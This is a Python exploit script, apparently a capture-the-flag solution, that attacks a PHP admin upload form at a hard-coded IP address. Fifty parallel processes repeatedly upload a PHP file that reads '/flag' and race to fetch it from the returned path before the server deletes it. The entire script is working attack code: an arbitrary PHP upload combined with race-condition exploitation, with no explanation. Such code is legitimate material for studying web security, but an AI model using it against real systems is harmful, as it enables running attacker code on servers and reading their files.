1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
|
import requests
import re
import time
from multiprocessing import Process
burp0_url = "http://139.155.126.78:16004/admin/index.php"
burp0_cookies = {"PHPSESSID": "iua127iuofecbllp3f56gtg3qb"}
burp0_headers = {
"Cache-Control": "max-age=0",
"Origin": "http://139.155.126.78:16004",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryt2b9EtsFNrTXH9Tl",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://139.155.126.78:16004/admin/index.php",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}
burp0_data = """------WebKitFormBoundaryt2b9EtsFNrTXH9Tl\r\nContent-Disposition: form-data; name="file_upload"; filename="1.php"\r\nContent-Type: text/php\r\n\r\n<?php\nreadfile("/flag");\n?>\r\n------WebKitFormBoundaryt2b9EtsFNrTXH9Tl--\r\n"""
def extract_uploaded_file(response_text):
match = re.search(r'文件已保存为:\s*(.*?)(?=\s*</p>)', response_text)
if match:
return match.group(1)
return None
def upload_and_access_file():
while True:
try:
from time import time
import hashlib
response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,
timeout=5,proxies={"http":"127.0.0.1:8080"})
if response.status_code == 200:
print("File uploaded successfully, parsing response to find the file path...")
file_path = extract_uploaded_file(response.text)
print(file_path)
if file_path:
file_url = f"http://139.155.126.78:16004/admin/{file_path[1:]}"
print(f"File uploaded to: {file_url}")
try:
access_response = requests.get(file_url, timeout=5,proxies={"http":"127.0.0.1:8080"})
if access_response.status_code == 200:
print("Successfully accessed the file!")
print("File Content:\n", access_response.text)
exit()
else:
print(f"Failed to access the file, status code: {access_response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Error accessing the file: {e}")
else:
print("Failed to find the uploaded file path in the response.")
else:
print(f"File upload failed, status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Error uploading file: {e}")
def start_processes(num_processes=10):
processes = []
for _ in range(num_processes):
process = Process(target=upload_and_access_file)
processes.append(process)
process.start()
for process in processes:
process.join()
if __name__ == "__main__":
start_processes(50)
|